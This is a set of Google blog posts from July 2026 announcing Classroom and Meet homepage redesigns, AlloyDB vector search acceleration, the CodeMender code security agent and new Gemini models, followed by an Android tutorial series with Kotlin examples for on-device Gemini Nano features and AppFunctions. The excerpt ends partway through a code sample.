Google Blogs

13 Google tips for a fun, productive summer off from college

2026-07-21T20:00:00+00:00

Illustration of a woman in front of a computer, a phone searching an image of a plant, a suitcase, and a video feed

Redesigned Google Classroom homepage with tailored views based on user’s role

2026-07-21T18:26:27+00:00

Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hub that more easily surfaces existing information and tools that were previously located in different areas of Classroom. Users can still access classes in the side navigation panel and a dedicated classes module on the homepage.

The new experience, which will begin rolling out on July 27, 2026, is personalized based on a user's role and available features:

For teachers, a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.

For students, a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.

For school leaders and IT administrators, the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.

Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.

To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.

Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.

Getting started

Admins: There is no admin control for the new Classroom homepage. Gemini and Gemini Notebook features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to Gemini in Classroom, Gemini app, Gemini Notebook, and the option to turn these services on or off for users in the Admin console.
End users: There is no end user setting for the new Classroom homepage. Visit the Help Center to learn more about the new Classroom homepage.

Rollout pace

Rapid Release and Scheduled Release domains: Full rollout (1-3 days for visibility) starting July 27, 2026

Availability

Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts

Resources

Google Classroom Help: Navigate your Classroom Homepage
2026: What’s New in Google for Education: Overview of Classroom Homepage

A centralized hub for meeting resources on the new Google Meet homepage

2026-07-21T18:20:41+00:00

Finding the right notes or attachments for a meeting shouldn't feel like a scavenger hunt. We’re introducing a revamped Google Meet homepage on the web to help you stay organized and prepared throughout your entire meeting workflow.

The new homepage provides a centralized view of your meeting agenda and essential artifacts, allowing you to:

Prepare effectively: Quickly access meeting descriptions and calendar attachments for upcoming calls.
Follow through easily: Find meeting notes, recordings, and transcripts from past meetings without digging through your inbox or Drive.
Manage your time: Use the new week and month navigators to look ahead at your schedule or revisit previous discussions.

Getting started

Admins: There is no admin control for this feature. The new homepage experience will be available to all users with access to Google Meet on the web.
End users: The new homepage experience will be available to all Meet users on the web. Visit meet.google.com to get started.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 21, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on August 17, 2026

Availability

Available to all Google Workspace customers and Workspace Individual subscribers

Resources

Google Meet: Google Meet Homepage
Google Meet Help: Use the Google Meet homepage

Supercharging pgvector: 4x faster HNSW vector search with AlloyDB

2026-07-21T16:00:00+00:00

AlloyDB is a fully managed, PostgreSQL-compatible database service built for your most demanding enterprise workloads. It combines the best of open source PostgreSQL with Google’s advanced technology, offering massive scalability, high availability, and native AI capabilities. It serves as a performant relational store, a unified backend for vector and full text search, and an analytics engine that is up to 100x faster than standard PostgreSQL.

Vector search is the foundation of modern AI and Retrieval Augmented Generation (RAG) applications. For developers using AlloyDB and other PostgreSQL databases, pgvector is a widely adopted extension for storing, indexing, and querying vector embeddings, and HNSW (Hierarchical Navigable Small World) is a highly efficient graph-based algorithm designed for approximate nearest neighbor search across multi-layered structures. With columnar engine accelerated HNSW in AlloyDB (now in preview), you can achieve up to 4x higher queries per second (QPS) for vector search compared to standard PostgreSQL HNSW.

Enterprise AI applications face a constant trade-off between speed and accuracy. When searching through millions or billions of vectors, maximizing Queries per Second (QPS) without sacrificing search quality (recall) is critical for scaling production workloads. The PostgreSQL pgvector extension offers HNSW as one of the indexes that can speed up Approximate Nearest Neighbor (ANN) searches. Let’s dive deep into how AlloyDB solves the speed vs. accuracy trade-off.

Note: While this post focuses on HNSW performance, it’s worth noting that HNSW is just one part of AlloyDB’s advanced vector toolkit. AlloyDB also features ScaNN—a cutting-edge index backed by over 14 years of Google Research—giving you the flexibility to choose the perfect index for your workload. Additionally, for use cases demanding absolute precision, standard k-nearest neighbor (KNN) search is always available for 100% recall. Check out our Choose a Vector Index Guide to see how they stack up.

aside_block: <ListValue: [StructValue([('title', 'Get started with a 30-day AlloyDB free trial instance'), ('body', <wagtail.rich_text.RichText object at 0x7fd949d92cd0>), ('btn_text', 'Start building for free'), ('href', 'http://goo.gle/try_alloydb'), ('image', None)])]>

First, what is the AlloyDB columnar engine?

The AlloyDB columnar engine is a built-in, in-memory cache that automatically stores frequently queried data in a specialized, scan-optimized columnar format. It allows AlloyDB to handle heavy analytical queries up to 100x faster than standard PostgreSQL. Additionally, it accelerates ANN searches by storing the index in memory, using a vectorized memory layout for fast traversals, and bypassing standard PostgreSQL buffer manager overhead.

Performance visualization

To understand the real-world performance characteristics of columnar engine Accelerated HNSW, we plotted standard QPS vs Recall curves for the GloVe 100 Angular dataset by searching more than 1M records with a limit of 100.

Running this benchmark script yields the following visualization:

Note: These measurements were taken on an AlloyDB C4A 16vCPU machine. Due to the inherent randomness in HNSW graph building, results may slightly vary across runs.

The data reveals two transformative benefits:

Massive performance throughput gains: For any given target recall (e.g. 0.95), QPS is increased by approximately 4.2x to 4.9x. This allows you to handle significantly more concurrent vector searches on the same hardware.
Significant recall (accuracy) improvement: Conversely, at a fixed QPS level, columnar engine accelerated HNSW provides a substantial boost in recall. For example, we saw that at ~350 QPS (in the above chart), enabling the columnar engine improves recall from roughly 0.78 to over 0.94 – a 0.163 recall gain. This means your AI applications get much more accurate results without any latency impact.

It is important to note that the baseline (blue line) already represents the index being fully cached in the PostgreSQL shared buffer cache. The performance gains shown here are not the result of moving data from disk to RAM, but rather the result of a more efficient memory architecture.

How it works: Columnar engine Accelerated HNSW

In standard PostgreSQL architectures, index operations utilize the shared buffer cache. Even when data is fully in-memory, the database still incurs significant overhead from the buffer manager, which must handle operations such as page pinning and unpinning, lock acquisition, buffer table lookups, and Least Recently Used (LRU) management.

AlloyDB's columnar engine is a built-in, in-memory cache that stores data in a specialized, scan-optimized format.

With this release, AlloyDB can use columnar engine accelerated HNSW to:

Pin the index: The pgvector HNSW index is pinned (kept persistently in-memory to ensure fast access) directly into the columnar engine’s memory.
Vectorized access: It utilizes a memory layout specifically designed for the high-concurrency, pointer-heavy traversals required by HNSW graphs.
Bypass buffer overhead: By navigating the graph in a specialized memory space, AlloyDB avoids the standard buffer manager bottlenecks. This architectural shift is what enables the dramatic QPS and recall improvements shown above, even when comparing against a fully-cached standard index.

Why it Matters

For enterprise-scale applications, this isn't just about a faster database—it's about cost and quality:

Reduced infrastructure costs: Achieve the same performance with significantly lower compute resources.
Better AI accuracy: Reach higher recall and quality at speeds that were previously only possible for "draft" (high-speed, lower-accuracy results) quality search.
No application changes required: Because this is built into AlloyDB, you get these gains using the same standard pgvector SQL syntax.

Note that the columnar engine does utilize memory, but it is highly compressed and meticulously managed. Because the engine stores vector data in an efficient columnar format, the memory footprint is minimal compared to the massive performance gains—making it a highly favorable trade-off for enterprise workloads.

Quick Start Guide

To try out columnar engine accelerated HNSW in AlloyDB, follow these steps:

1. Enable the columnar engine and index caching

Ensure that both google_columnar_engine.enabled and google_columnar_engine.enable_index_caching flags are set to on for your AlloyDB instance.

2. Add the HNSW Index to columnar engine

Once your HNSW index is created via pgvector, execute the following SQL command to cache it in the columnar engine:

code_block: <ListValue: [StructValue([('code', "SELECT google_columnar_engine_add_index('<hnsw_index_name>');"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd949d92dc0>)])]>

3. Additional Resources

New to AlloyDB? Discover AlloyDB with a 30-day free trial.
Google Colab Notebook: An end-to-end Python script to ingest the GloVe dataset, create indexes, and plot Recall vs QPS curves.
Is HNSW the right vector index choice for your use case? Check our ‘Choose a vector index in AlloyDB AI’ guide.

Now in preview: Find and fix software vulnerabilities with CodeMender

2026-07-21T15:00:00+00:00

As adversarial AI threats accelerate attacks on code, security teams must counter them with machine-speed defenses that can automate code remediation and fight AI with AI.

CodeMender is our managed code security agent, and starting today, we're bringing its code scanning and remediation capabilities directly to you in preview.

CodeMender offers access to our generally available models via Gemini Enterprise Agent Platform, or it can be deployed as a core component of AI Threat Defense.

CodeMender also aligns with our multi-model approach, so you can choose the right model to optimize for cost, speed, and deep scanning performance. It will support third-party frontier model options later this year.

Watch this overview of CodeMender in Gemini Enterprise Agent Platform.

CodeMender can help you advance from passive scanning to automated code remediation, and reduce zero-day risk. It examines and remediates existing code security issues without sacrificing development velocity by:

Deploying the best-fit model. You can choose from multiple models to optimize for costs, speed, deep scanning, and coding performance.
Automating machine-scale remediation. You can now eliminate remediation bottlenecks caused by manual verification and patching, while keeping developers in the loop.
Prioritizing fixes by exploitability. You can run proof-of-concept exploits and execute simulations to verify that vulnerabilities in the code are exploitable, and prioritize resources on fixing the most critical issues first.

Find and fix vulnerabilities with AI

Born from Google DeepMind's pioneering AI research, CodeMender transforms vulnerability management from a manual bottleneck into an autonomous, high-speed system. Your developers and security practitioners can automatically scan software for flaws, verify them with executable exploits, and remediate them with tested code fixes.

“At Salesforce, trust is our number one value, and protecting customer data means continually raising the bar for how we find, validate, and mitigate risks. CodeMender brings AI into a critical part of the security lifecycle by accelerating the path from validated vulnerability to tested fix. As AI reshapes the threat landscape, capabilities like this help strengthen resilience and give our customers the confidence to keep innovating,” said Iain Mulholland, CISO, Salesforce.

"CodeMender consistently identified critical vulnerabilities that our other AI-enabled tools completely missed. It doesn't just find theoretical flaws — it proves the immediate risk and delivers targeted, validated fixes that secure our environment without disrupting core business logic," said Scott Ponte, head, Security Operations, Robinhood.

"CodeMender is fast, comprehensive, and genuinely ambitious about closing the loop from detection to fix, enabling teams to secure their software supply chain without losing velocity," said Ashwin Kannan, principal AI engineer, Office of the CTO, Palo Alto Networks.

How the CodeMender agent works

We’ve fine-tuned CodeMender’s harness to be continuously updated with the latest Google DeepMind research, including the up-to-date agent skills, security tools, and system prompts.

Operating in the secure-by-design Agent Platform, CodeMender is protected by enterprise-grade, built-in governance and security guardrails, including secure traffic routing through your VPC, data isolation and encryption, and zero retention of source code data.

As an agent, it can integrate with existing continuous integration and continuous delivery (CI/CD) workflows, or run directly in local developer environments using a lightweight command-line interface (CLI) client.

You can also configure CodeMender to scan and analyze code in a sandbox that you manage. The agent connects to your code repositories and works with developer tools, such as VS Code and Antigravity, to safely analyze first-party, open-source, and third-party software.

Scan: Find hidden vulnerabilities with flexible model scanning

CodeMender scans for top vulnerability classes and understands the unique context, goals, and functionality of your software repositories and applications.

Scan: Discovered new vulnerabilities and categorized by severity and type.

CodeMender’s harness with security context helps you discover sophisticated vulnerabilities that static and model-only scanning miss. These scans look for hard-to-find vulnerabilities like memory corruption, injection, web security issues, cryptographic flaws, and insecure data handling. CodeMender supports common software languages including C/C++, Go, Java, Python, Ruby, Rust, and TypeScript.

Verify: Simulate and verify exploits to reduce noise

CodeMender can help cut alert fatigue and false positives by proving a vulnerability presents a legitimate risk before fixing it. The agent goes beyond static code-pattern analysis by simulating an attack with exploit code it builds and runs in an isolated, customer-managed sandbox.

Verify: Creates verification plan and builds and tests exploits in your sandbox environment.

The agent uses this proof-of-concept exploit to verify that the security flaw poses a legitimate risk. This critical verification phase allows your security practitioners and developers to prioritize validated risks by eliminating false positives.

Remediate: Automatically generate and test code fixes

Identifying risky security flaws is only half the battle. Once a vulnerability is verified, CodeMender automatically generates a secure patch to resolve the issue. The fix is delivered as a code difference directly in developer tools, so it can be integrated into existing development workflows.

Remediate: Generates and tests code fix with code diff for developer review and approval.

CodeMender further strengthens the fix by using LLM-as-a-judge to ensure it doesn’t disrupt existing application functionality. You can even provide context on your codebase's distinct coding conventions and styles so that CodeMender generates code that matches it. Developers remain in full control, manually reviewing and approving CodeMender's patches before any code is committed to the repository.

CodeMender in AI Threat Defense

When leveraged as part of AI Threat Defense, Wiz orchestrates agentic application security, analyzing applications to prioritize investigations. It calls CodeMender to scan code (coming soon), enrich findings within the Wiz Security Graph with deployment context, and trigger Wiz Red Agent for AI pentesting to prove exploitability, ensuring that teams focus on the highest-risk vulnerabilities.

Through Wiz, AI Threat Defense calls CodeMender to scan code, enrich findings, and trigger AI pentesting.

Wiz serves as a command center for governing and scaling remediation in AI Threat Defense. The Wiz Green Agent orchestrates this lifecycle by directing CodeMender to generate and test high-fidelity patches enriched with application context from the Security Graph. This workflow empowers teams to resolve complex vulnerabilities with unprecedented speed and precision.

How to get started with CodeMender

Consistent with our multi-model approach, CodeMender can help you optimize for cost, speed, and deep scanning performance.

You can use CodeMender with our generally available Gemini models via Agent Platform, or deploy it as a core component of AI Threat Defense.

Separately, CodeMender with Gemini 3.5 Flash Cyber will be exclusively available to a small set of governments and trusted partners. We plan to expand this access over time.

CodeMender is a critical step towards a continuous, self-healing agentic software development lifecycle, a future where code is autonomously secured, validated, and patched before it ever hits production.

You can learn more about CodeMender and review the documentation here.

Introducing Gemini 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber

2026-07-21T15:00:00+00:00

a hero image saying 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber

We’re announcing the Alliance for America’s Skilled Trades.

2026-07-21T14:00:00+00:00

Google is joining BlackRock, Carhartt and Ford to launch the Alliance for America’s Skilled Trades.

Build intelligent Android apps: On-device inference

2026-07-21T13:00:00+00:00

Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

User data can be processed locally on the device, preserving user privacy
Functionality of the model is reliable even with spotty or no internet connection
No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.

Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Introduction to Jetpacker

2026-07-21T13:00:00+00:00

Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations

Building GenAI features in your app usually means navigating through various models, APIs and architecture choices:

Execution location: Where does your model run? On device, in the cloud, or both?
Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

2026-07-21T13:00:00+00:00

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
